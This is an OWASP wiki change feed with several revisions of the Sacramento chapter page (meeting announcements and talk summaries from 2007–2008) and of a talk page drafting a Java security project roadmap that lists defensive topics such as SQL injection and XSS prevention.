* The next OWASP Sacramento meeting will be on Thursday Feb 28 at 6pm. The topic of this meeting will be a general presentation and introduction to OWASP. This meeting will be hosted at EDS Medi-Cal in Rancho Cordova , CA .  We will not be providing food and drink at this presentation but will be choosing a local restaurant for a follow-up networking event.&lt;br /&gt;
&lt;br /&gt;
* Please use the online RSVP form below or contact Mpetteys at caiso.com by 2/21/08 if you plan to attend.&lt;br /&gt;
*: http://fs2.formsite.com/mpetteys/form547016053/index.html&lt;br /&gt;
&lt;br /&gt;
* LOCATION INFORMATION: Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892.  Any problems, please contact Matt Petteys, 916-873-4716&lt;br /&gt;
*: EDS Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]&lt;br /&gt;
*: 3215 Prospect Park Drive&lt;br /&gt;
*: Rancho Cordova , CA&lt;br /&gt;
*: 95670&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-11-29: Roman Hustad from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2006-05-18: OWASP Moves to MediaWiki Portal - 16:09, 18 May 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
OWASP is pleased to announce the arrival of OWASP 2.0!&lt;br /&gt;
&lt;br /&gt;
OWASP 2.0 utilizes the MediaWiki portal to manage and provide&lt;br /&gt;
the latest OWASP related information. Enjoy!&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=24499</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=24499"/>
				<updated>2008-01-15T19:20:43Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leader is [mailto:mpetteys@caiso.com Matt Petteys]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-11-29: Roman Hustad from Foundstone presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from Fortify Software presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
OWASP Moves to MediaWiki Portal - 16:09, 18 May 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
OWASP is pleased to announce the arrival of OWASP 2.0!&lt;br /&gt;
&lt;br /&gt;
OWASP 2.0 utilizes the MediaWiki portal to manage and provide&lt;br /&gt;
the latest OWASP related information. Enjoy!&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=23473</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=23473"/>
				<updated>2007-11-16T20:47:35Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leader is [mailto:mpetteys@caiso.com Matt Petteys]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
==NOVEMBER 29th MEETING==&lt;br /&gt;
The next OWASP Sacramento meeting will be on Thursday Nov. 29 at 6pm.  The topic of this meeting will be Web Application Hacking. This meeting will be hosted at EDS Medi-Cal in Rancho Cordova, CA.  Food, beverage, and the presentation will be provided by [http://www.foundstone.com  Foundstone].&lt;br /&gt;
&lt;br /&gt;
Please use the online RSVP form below or contact Mpetteys at caiso.com by&lt;br /&gt;
11/22/07 if you plan to attend.&lt;br /&gt;
&lt;br /&gt;
[http://fs2.formsite.com/mpetteys/form681597126/index.html RSVP Form]&lt;br /&gt;
&lt;br /&gt;
TOPIC: Web Application Hacking&lt;br /&gt;
&lt;br /&gt;
See the hacker's toolbox in action as various web applications are ripped open by exploiting simple software bugs. Common problems such as Cross-Site Scripting (XSS) and SQL Injection will be demonstrated and explained, along with more subtle vulnerabilities including privilege escalation, data tampering, and Cross-Site Request Forgery. &lt;br /&gt;
&lt;br /&gt;
SPEAKER BIO: [http://www.nofluffjuststuff.com/conference/speaker/roman_hustad.html Roman Hustad, Foundstone Professional Services]&lt;br /&gt;
&lt;br /&gt;
LOCATION INFORMATION:&lt;br /&gt;
&lt;br /&gt;
Upon arriving at the main entrance, please ask for Robert Grill,&lt;br /&gt;
office: 916-636-4392, cell: 916-997-9892.  Any problems, please contact Matt Petteys, 916-873-4716&lt;br /&gt;
&lt;br /&gt;
EDS Medi-Cal&lt;br /&gt;
3125 Prospect Park Drive&lt;br /&gt;
Rancho Cordova, CA 95670 &lt;br /&gt;
&lt;br /&gt;
[http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3125+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr Directions To EDS]&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
 '''We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.'''&lt;br /&gt;
&lt;br /&gt;
We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
OWASP Moves to MediaWiki Portal - 16:09, 18 May 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
OWASP is pleased to announce the arrival of OWASP 2.0!&lt;br /&gt;
&lt;br /&gt;
OWASP 2.0 utilizes the MediaWiki portal to manage and provide&lt;br /&gt;
the latest OWASP related information. Enjoy!&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=18830</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=18830"/>
				<updated>2007-05-25T20:10:33Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leader is [mailto:bobhome@dslextreme.com Bob Grill]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
&lt;br /&gt;
OWASP Sacramento is planning a public presentation in late July 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
 '''OWASP Moves to MediaWiki Portal - 16:09, 18 May 2006 (EDT)'''&lt;br /&gt;
&lt;br /&gt;
OWASP is pleased to announce the arrival of OWASP 2.0!&lt;br /&gt;
&lt;br /&gt;
OWASP 2.0 utilizes the MediaWiki portal to manage and provide&lt;br /&gt;
the latest OWASP related information. Enjoy!&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:OWASP_Java_Project_Roadmap&amp;diff=6130</id>
		<title>Talk:OWASP Java Project Roadmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:OWASP_Java_Project_Roadmap&amp;diff=6130"/>
				<updated>2006-06-13T04:15:16Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: /* Frameworks you should be aware of (e.g. struts, stinger, etc.) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==J2EE Security for Architects==&lt;br /&gt;
&lt;br /&gt;
=== Risk Analysis===&lt;br /&gt;
To my mind, Risk Analysis is a general exercise that will apply equaly to all apps irrespective of the language used to implement the app.  So would say that this belongs in the Guide rather than the Java project, unless you have some ideas on how to make this Java specific?  --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
 I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Mapping Regulatory requirements to technical requirements===&lt;br /&gt;
Same as above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
 I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Design considerations===&lt;br /&gt;
This is quite general.  Shall we narrow it down to the architectural issues that should be considered for each of the popular architectures such as:&lt;br /&gt;
* Architectural considerations&lt;br /&gt;
** EJB Middle tier&lt;br /&gt;
** Web Services Middle tier&lt;br /&gt;
** Spring Middle tier&lt;br /&gt;
--[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Frameworks you should be aware of (e.g. struts, stinger, etc.)===&lt;br /&gt;
There are many frameworks out there, so I'd suggest we keep this down to frameworks that specifically offer security functionality such as: &lt;br /&gt;
* Acegi&lt;br /&gt;
* Commons validator&lt;br /&gt;
* jGuard &lt;br /&gt;
* Stinger seems to be parked for a while now, is this correct Jeff?&lt;br /&gt;
** Stinger is &lt;br /&gt;
** CVS HEAD is in a functional state; needs work on docs and new features [[User:Roman|Roman]] 00:15, 13 June 2006 (EDT)&lt;br /&gt;
Most web tier frameworks will prevent XSS attacks, so listing them all in this section is a bit verbose, would prefer to see them listed in the XSS section.  --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
==J2EE Security for Developers==&lt;br /&gt;
&lt;br /&gt;
===Java Security Basics=== &lt;br /&gt;
* Class Loading&lt;br /&gt;
* Bytecode verifier&lt;br /&gt;
* The Security Manager and security.policy file&lt;br /&gt;
I suggest we do something short here for web developers, and wait on client side apps for now [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
I agree --[[User:Stephendv|Stephendv]] 09:48, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Input Validation===&lt;br /&gt;
* Overview&lt;br /&gt;
&lt;br /&gt;
==== SQL Injection====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
** White Listing&lt;br /&gt;
** Prepared Statements&lt;br /&gt;
** Stored Procedures &lt;br /&gt;
** Hibernate &lt;br /&gt;
** Ibatis &lt;br /&gt;
** Spring JDBC &lt;br /&gt;
** EJB 3.0? &lt;br /&gt;
** JDO? &lt;br /&gt;
&lt;br /&gt;
====XSS====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
** White Listing &lt;br /&gt;
** Manual HTML Encoding&lt;br /&gt;
** Preventing XSS in popular Web Frameworks&lt;br /&gt;
*** JSP/JSTL&lt;br /&gt;
*** Struts&lt;br /&gt;
*** Spring MVC&lt;br /&gt;
*** Java Server Faces&lt;br /&gt;
*** WebWork?&lt;br /&gt;
*** Wicket?&lt;br /&gt;
*** Tapestry? &lt;br /&gt;
* &amp;lt;s&amp;gt;Misc I/P Validation Attacks (e.g. HTTP Response Splitting)&amp;lt;/s&amp;gt; - Moved this out to a separate section below.  --[[User:Stephendv|Stephendv]] 08:41, 12 June 2006 (EDT)&lt;br /&gt;
* &amp;lt;s&amp;gt;Using struts&amp;lt;/s&amp;gt; Would recommend we cover a number of frameworks as mentioned above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
* CSRF attack&lt;br /&gt;
&lt;br /&gt;
==== LDAP Injection ====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
&lt;br /&gt;
==== XPATH Injection ====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
&lt;br /&gt;
==== Miscellaneous Injection Attacks ====&lt;br /&gt;
* HTTP Response splitting&lt;br /&gt;
* Command injection - Runtime.getRuntime().exec()&lt;br /&gt;
&lt;br /&gt;
=== Authentication===&lt;br /&gt;
* Storing credentials&lt;br /&gt;
* Hashing&lt;br /&gt;
* SSL Best Practices&lt;br /&gt;
* CAPTCHA systems (jcaptcha?)&lt;br /&gt;
* Container-managed authentication with Realms&lt;br /&gt;
* JAAS Authentication&lt;br /&gt;
* Password length &amp;amp; complexity&lt;br /&gt;
&lt;br /&gt;
===Session Management===&lt;br /&gt;
* Logout&lt;br /&gt;
* Session Timeout&lt;br /&gt;
* Absolute Timeout&lt;br /&gt;
* Session Fixation&lt;br /&gt;
* Terminating sessions&lt;br /&gt;
** Terminating sessions when the browser window is closed&lt;br /&gt;
 &lt;br /&gt;
===Authorization===&lt;br /&gt;
* In presentation layer&lt;br /&gt;
* In business logic&lt;br /&gt;
* In data layer&lt;br /&gt;
* Declarative v/s Programmatic&lt;br /&gt;
* web.xml configuration&lt;br /&gt;
* [[Forced browsing]]&lt;br /&gt;
* JAAS&lt;br /&gt;
* EJB Authorization&lt;br /&gt;
* Acegi?&lt;br /&gt;
* JACC&lt;br /&gt;
* Check horizontal privilege&lt;br /&gt;
&lt;br /&gt;
=== Encryption===&lt;br /&gt;
* JCE&lt;br /&gt;
* Storing db secrets&lt;br /&gt;
* Encrypting JDBC connections&lt;br /&gt;
* JSSE&lt;br /&gt;
* Random number generation&lt;br /&gt;
&lt;br /&gt;
=== Error Handling &amp;amp; Logging===&lt;br /&gt;
* Output Validation&lt;br /&gt;
* Custom Errors&lt;br /&gt;
* Logging - why log? what to log? log4j, etc.&lt;br /&gt;
* Exception handling techniques&lt;br /&gt;
** fail-open/fail-closed&lt;br /&gt;
** resource cleanup&lt;br /&gt;
** finally block&lt;br /&gt;
** swallowing exceptions&lt;br /&gt;
* Exception handling frameworks&lt;br /&gt;
** Servlet spec - web.xml&lt;br /&gt;
** JSP errorPage&lt;br /&gt;
&lt;br /&gt;
=== Web Services Security ===&lt;br /&gt;
* SAML&lt;br /&gt;
* WS-Security&lt;br /&gt;
* ...?&lt;br /&gt;
&lt;br /&gt;
=== Code Analysis Tools ===&lt;br /&gt;
* FindBugs&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* PMD&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* JLint&lt;br /&gt;
* Jmetrics&lt;br /&gt;
&lt;br /&gt;
== J2EE Security For Deployers ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Popular J2EE Servers ===&lt;br /&gt;
* Securing Tomcat&lt;br /&gt;
* Securing JBoss&lt;br /&gt;
* Securing WebLogic&lt;br /&gt;
* Securing WebSphere&lt;br /&gt;
* Securing x...&lt;br /&gt;
Would be nice to include an example secure by default configuration file for each server that has additional comments in it which expands on the security repurcussions of the various sections.&lt;br /&gt;
&lt;br /&gt;
=== Defining a Java Security Policy ===&lt;br /&gt;
* Jeff's tool? --[[User:Stephendv|Stephendv]] 08:37, 12 June 2006 (EDT)&lt;br /&gt;
* jChains (www.jchains.org)&lt;br /&gt;
&lt;br /&gt;
=== Protecting Binaries ===&lt;br /&gt;
* Bytecode obfuscation&lt;br /&gt;
* Convert bytecode to native machine code&lt;br /&gt;
* jarsigner&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:OWASP_Java_Project_Roadmap&amp;diff=6129</id>
		<title>Talk:OWASP Java Project Roadmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:OWASP_Java_Project_Roadmap&amp;diff=6129"/>
				<updated>2006-06-13T04:14:20Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: /* J2EE Security for Developers */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==J2EE Security for Architects==&lt;br /&gt;
&lt;br /&gt;
=== Risk Analysis===&lt;br /&gt;
To my mind, Risk Analysis is a general exercise that will apply equaly to all apps irrespective of the language used to implement the app.  So would say that this belongs in the Guide rather than the Java project, unless you have some ideas on how to make this Java specific?  --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
 I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Mapping Regulatory requirements to technical requirements===&lt;br /&gt;
Same as above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
 I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Design considerations===&lt;br /&gt;
This is quite general.  Shall we narrow it down to the architectural issues that should be considered for each of the popular architectures such as:&lt;br /&gt;
* Architectural considerations&lt;br /&gt;
** EJB Middle tier&lt;br /&gt;
** Web Services Middle tier&lt;br /&gt;
** Spring Middle tier&lt;br /&gt;
--[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Frameworks you should be aware of (e.g. struts, stinger, etc.)===&lt;br /&gt;
There are many frameworks out there, so I'd suggest we keep this down to frameworks that specifically offer security functionality such as: &lt;br /&gt;
* Acegi&lt;br /&gt;
* Commons validator&lt;br /&gt;
* jGuard &lt;br /&gt;
* Stinger seems to be parked for a while now, is this correct Jeff?&lt;br /&gt;
** Stinger is &lt;br /&gt;
** CVS HEAD is in a functional state; needs work on docs and new features - Roman&lt;br /&gt;
Most web tier frameworks will prevent XSS attacks, so listing them all in this section is a bit verbose, would prefer to see them listed in the XSS section.  --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
==J2EE Security for Developers==&lt;br /&gt;
&lt;br /&gt;
===Java Security Basics=== &lt;br /&gt;
* Class Loading&lt;br /&gt;
* Bytecode verifier&lt;br /&gt;
* The Security Manager and security.policy file&lt;br /&gt;
I suggest we do something short here for web developers, and wait on client side apps for now [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
I agree --[[User:Stephendv|Stephendv]] 09:48, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Input Validation===&lt;br /&gt;
* Overview&lt;br /&gt;
&lt;br /&gt;
==== SQL Injection====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
** White Listing&lt;br /&gt;
** Prepared Statements&lt;br /&gt;
** Stored Procedures &lt;br /&gt;
** Hibernate &lt;br /&gt;
** Ibatis &lt;br /&gt;
** Spring JDBC &lt;br /&gt;
** EJB 3.0? &lt;br /&gt;
** JDO? &lt;br /&gt;
&lt;br /&gt;
====XSS====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
** White Listing &lt;br /&gt;
** Manual HTML Encoding&lt;br /&gt;
** Preventing XSS in popular Web Frameworks&lt;br /&gt;
*** JSP/JSTL&lt;br /&gt;
*** Struts&lt;br /&gt;
*** Spring MVC&lt;br /&gt;
*** Java Server Faces&lt;br /&gt;
*** WebWork?&lt;br /&gt;
*** Wicket?&lt;br /&gt;
*** Tapestry? &lt;br /&gt;
* &amp;lt;s&amp;gt;Misc I/P Validation Attacks (e.g. HTTP Response Splitting)&amp;lt;/s&amp;gt; - Moved this out to a separate section below.  --[[User:Stephendv|Stephendv]] 08:41, 12 June 2006 (EDT)&lt;br /&gt;
* &amp;lt;s&amp;gt;Using struts&amp;lt;/s&amp;gt; Would recommend we cover a number of frameworks as mentioned above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
* CSRF attack&lt;br /&gt;
&lt;br /&gt;
==== LDAP Injection ====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
&lt;br /&gt;
==== XPATH Injection ====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
&lt;br /&gt;
==== Miscellaneous Injection Attacks ====&lt;br /&gt;
* HTTP Response splitting&lt;br /&gt;
* Command injection - Runtime.getRuntime().exec()&lt;br /&gt;
&lt;br /&gt;
=== Authentication===&lt;br /&gt;
* Storing credentials&lt;br /&gt;
* Hashing&lt;br /&gt;
* SSL Best Practices&lt;br /&gt;
* CAPTCHA systems (jcaptcha?)&lt;br /&gt;
* Container-managed authentication with Realms&lt;br /&gt;
* JAAS Authentication&lt;br /&gt;
* Password length &amp;amp; complexity&lt;br /&gt;
&lt;br /&gt;
===Session Management===&lt;br /&gt;
* Logout&lt;br /&gt;
* Session Timeout&lt;br /&gt;
* Absolute Timeout&lt;br /&gt;
* Session Fixation&lt;br /&gt;
* Terminating sessions&lt;br /&gt;
** Terminating sessions when the browser window is closed&lt;br /&gt;
 &lt;br /&gt;
===Authorization===&lt;br /&gt;
* In presentation layer&lt;br /&gt;
* In business logic&lt;br /&gt;
* In data layer&lt;br /&gt;
* Declarative v/s Programmatic&lt;br /&gt;
* web.xml configuration&lt;br /&gt;
* [[Forced browsing]]&lt;br /&gt;
* JAAS&lt;br /&gt;
* EJB Authorization&lt;br /&gt;
* Acegi?&lt;br /&gt;
* JACC&lt;br /&gt;
* Check horizontal privilege&lt;br /&gt;
&lt;br /&gt;
=== Encryption===&lt;br /&gt;
* JCE&lt;br /&gt;
* Storing db secrets&lt;br /&gt;
* Encrypting JDBC connections&lt;br /&gt;
* JSSE&lt;br /&gt;
* Random number generation&lt;br /&gt;
&lt;br /&gt;
=== Error Handling &amp;amp; Logging===&lt;br /&gt;
* Output Validation&lt;br /&gt;
* Custom Errors&lt;br /&gt;
* Logging - why log? what to log? log4j, etc.&lt;br /&gt;
* Exception handling techniques&lt;br /&gt;
** fail-open/fail-closed&lt;br /&gt;
** resource cleanup&lt;br /&gt;
** finally block&lt;br /&gt;
** swallowing exceptions&lt;br /&gt;
* Exception handling frameworks&lt;br /&gt;
** Servlet spec - web.xml&lt;br /&gt;
** JSP errorPage&lt;br /&gt;
&lt;br /&gt;
=== Web Services Security ===&lt;br /&gt;
* SAML&lt;br /&gt;
* WS-Security&lt;br /&gt;
* ...?&lt;br /&gt;
&lt;br /&gt;
=== Code Analysis Tools ===&lt;br /&gt;
* FindBugs&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* PMD&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* JLint&lt;br /&gt;
* Jmetrics&lt;br /&gt;
&lt;br /&gt;
== J2EE Security For Deployers ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Popular J2EE Servers ===&lt;br /&gt;
* Securing Tomcat&lt;br /&gt;
* Securing JBoss&lt;br /&gt;
* Securing WebLogic&lt;br /&gt;
* Securing WebSphere&lt;br /&gt;
* Securing x...&lt;br /&gt;
Would be nice to include an example secure by default configuration file for each server that has additional comments in it which expands on the security repurcussions of the various sections.&lt;br /&gt;
&lt;br /&gt;
=== Defining a Java Security Policy ===&lt;br /&gt;
* Jeff's tool? --[[User:Stephendv|Stephendv]] 08:37, 12 June 2006 (EDT)&lt;br /&gt;
* jChains (www.jchains.org)&lt;br /&gt;
&lt;br /&gt;
=== Protecting Binaries ===&lt;br /&gt;
* Bytecode obfuscation&lt;br /&gt;
* Convert bytecode to native machine code&lt;br /&gt;
* jarsigner&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:OWASP_Java_Project_Roadmap&amp;diff=6128</id>
		<title>Talk:OWASP Java Project Roadmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:OWASP_Java_Project_Roadmap&amp;diff=6128"/>
				<updated>2006-06-13T04:06:53Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: /* J2EE Security For Deployers */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==J2EE Security for Architects==&lt;br /&gt;
&lt;br /&gt;
=== Risk Analysis===&lt;br /&gt;
To my mind, Risk Analysis is a general exercise that will apply equaly to all apps irrespective of the language used to implement the app.  So would say that this belongs in the Guide rather than the Java project, unless you have some ideas on how to make this Java specific?  --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
 I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Mapping Regulatory requirements to technical requirements===&lt;br /&gt;
Same as above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
 I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Design considerations===&lt;br /&gt;
This is quite general.  Shall we narrow it down to the architectural issues that should be considered for each of the popular architectures such as:&lt;br /&gt;
* Architectural considerations&lt;br /&gt;
** EJB Middle tier&lt;br /&gt;
** Web Services Middle tier&lt;br /&gt;
** Spring Middle tier&lt;br /&gt;
--[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Frameworks you should be aware of (e.g. struts, stinger, etc.)===&lt;br /&gt;
There are many frameworks out there, so I'd suggest we keep this down to frameworks that specifically offer security functionality such as: &lt;br /&gt;
* Acegi&lt;br /&gt;
* Commons validator&lt;br /&gt;
* jGuard &lt;br /&gt;
* Stinger seems to be parked for a while now, is this correct Jeff?&lt;br /&gt;
** Stinger is &lt;br /&gt;
** CVS HEAD is in a functional state; needs work on docs and new features - Roman&lt;br /&gt;
Most web tier frameworks will prevent XSS attacks, so listing them all in this section is a bit verbose, would prefer to see them listed in the XSS section.  --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
==J2EE Security for Developers==&lt;br /&gt;
&lt;br /&gt;
===Java Security Basics=== &lt;br /&gt;
* Class Loading&lt;br /&gt;
* Bytecode verifier&lt;br /&gt;
* The Security Manager and security.policy file&lt;br /&gt;
* jarsigner&lt;br /&gt;
